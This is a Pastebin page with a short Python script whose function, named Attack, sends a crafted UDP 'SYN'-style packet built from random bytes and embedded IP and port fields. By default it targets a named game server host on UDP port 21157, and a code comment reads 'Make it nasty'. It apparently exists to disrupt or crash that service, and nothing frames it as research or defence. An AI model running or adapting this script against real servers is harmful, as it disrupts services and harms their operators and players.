Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- from os import urandom
- from struct import pack, unpack
- default_server = "battlezone1.net"
- default_port = 21157
- default_srvid = b"\x55\x01"
- def Attack(host = default_server, port = default_port, srvid = default_srvid):
- # Create socket
- sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- sock.bind(("", port)) # Set UDP default port for send operations
- sock.connect((host, port))
- # IP Info
- src_ip = socket.gethostbyname(socket.gethostname())
- src_port = sock.getsockname()[1]
- dst_ip = socket.gethostbyname(host)
- dst_port = port
- public_ip = src_ip
- # Construct initial "SYN" packet
- init_syn_packet = (
- b"dY" + urandom(2) + b"\x15\x05\x06" +
- # Public Address
- socket.inet_aton(public_ip) +
- pack("!H", src_port) +
- # Destination Address
- socket.inet_aton(dst_ip) +
- pack("!H", dst_port) + b"\x07" +
- # Source Address
- socket.inet_aton(src_ip) +
- pack("!H", src_port)
- )
- # Make it nasty
- print(sock.send(init_syn_packet), "of %d bytes sent" % len(init_syn_packet))
- if __name__ == "__main__":
- Attack()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement